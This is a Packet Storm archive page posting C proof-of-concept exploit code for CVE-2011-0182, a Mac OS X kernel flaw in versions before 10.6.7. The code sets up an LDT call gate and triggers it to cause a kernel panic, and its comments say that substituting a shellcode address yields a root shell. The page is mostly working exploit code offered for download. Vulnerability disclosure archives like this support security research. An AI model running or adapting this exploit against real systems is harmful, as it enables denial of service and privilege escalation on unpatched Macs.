what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Mac OS X Kernel Panic

Mac OS X Kernel Panic
Posted Sep 28, 2011
Authored by Chanam Park

Proof of concept Mac OS X versions prior to 10.6.7 kernel panic exploit.

tags | exploit, kernel, proof of concept
systems | apple, osx
advisories | CVE-2011-0182
SHA-256 | e05c41cc28b6403f832aa4420992cc0d5315f190a28b8c752465f30ab53163bb

Mac OS X Kernel Panic

Change Mirror Download
/*
Mac OS X < 10.6.7 Kernel Panic Exploit
CVE-2011-0182, Proof Of Concept Code

Author - Chanam Park (hkpco)
Date - 2011. 06
Contact - chanam.park@hkpco.kr , http://hkpco.kr , @hkpco

Thanks for inspiration / x82, riaf.
*/
// Compile: gcc -o CVE-2011-0182_PoC CVE-2011-0182_PoC.c -m32

#include <architecture/i386/table.h>
#include <i386/user_ldt.h>

#include <unistd.h>

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

void dummy_func( void ) { asm volatile( ".byte 0xff" ); }

int main( void )
{
int ret;
union ldt_entry cgate, cgate2;
char dummy[128] = {0x00,};

cgate.call_gate.offset00 = (unsigned int)dummy_func & 0xffff;
cgate.call_gate.offset16 = ((unsigned int)dummy_func >> 16) & 0xffff;
// You can input shellcode address value here to get the root shell.
/* I got the root shell before. But, It was tested on Hackintosh for AMD. :-p
The normal system has a little different environment.
I have no time for this anymore because of my summer break is over.
So.. Good Luck! */

cgate.call_gate.argcnt = 0;
cgate.call_gate.type = 0xc; // DESC_CALL_GATE
cgate.call_gate.dpl = 3;
cgate.call_gate.present = 1;

cgate.call_gate.seg.rpl = 0;
cgate.call_gate.seg.ti = 0;
cgate.call_gate.seg.index = 16;

cgate2.call_gate.offset00 = 0x0;

cgate2.call_gate.seg.rpl = 0;
cgate2.call_gate.seg.ti = 0;
cgate2.call_gate.seg.index = 0;

cgate2.call_gate.argcnt = 0;
cgate2.call_gate.type = 0;
cgate2.call_gate.dpl = 0;
cgate2.call_gate.present = 1;

cgate2.call_gate.offset16 = 0x0;

printf( "// coded by Chanam Park (hkpco)\n\n" );

ret = i386_set_ldt( LDT_AUTO_ALLOC, &cgate, 1 );
printf( "Selector Number in LDT <1>: 0x%x\n", ret );

ret = i386_set_ldt( LDT_AUTO_ALLOC, &cgate2, 1 );
printf( "Selector Number in LDT <2>: 0x%x\n\n", ret );

printf( "If you run this program, it can possibly cause \"Kernel Panic\".\n" );
printf( "The program will be continued when you input any value.\n" );
printf( "-> " );
fflush(stdout);
scanf( "%s", dummy );

asm volatile( "lcall $0x3f, $0x0" );
// Trigger

return 0;
}

Login or Register to add favorites

File Archive:

May 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    44 Files
  • 2
    May 2nd
    0 Files
  • 3
    May 3rd
    0 Files
  • 4
    May 4th
    0 Files
  • 5
    May 5th
    0 Files
  • 6
    May 6th
    0 Files
  • 7
    May 7th
    0 Files
  • 8
    May 8th
    0 Files
  • 9
    May 9th
    0 Files
  • 10
    May 10th
    0 Files
  • 11
    May 11th
    0 Files
  • 12
    May 12th
    0 Files
  • 13
    May 13th
    0 Files
  • 14
    May 14th
    0 Files
  • 15
    May 15th
    0 Files
  • 16
    May 16th
    0 Files
  • 17
    May 17th
    0 Files
  • 18
    May 18th
    0 Files
  • 19
    May 19th
    0 Files
  • 20
    May 20th
    0 Files
  • 21
    May 21st
    0 Files
  • 22
    May 22nd
    0 Files
  • 23
    May 23rd
    0 Files
  • 24
    May 24th
    0 Files
  • 25
    May 25th
    0 Files
  • 26
    May 26th
    0 Files
  • 27
    May 27th
    0 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close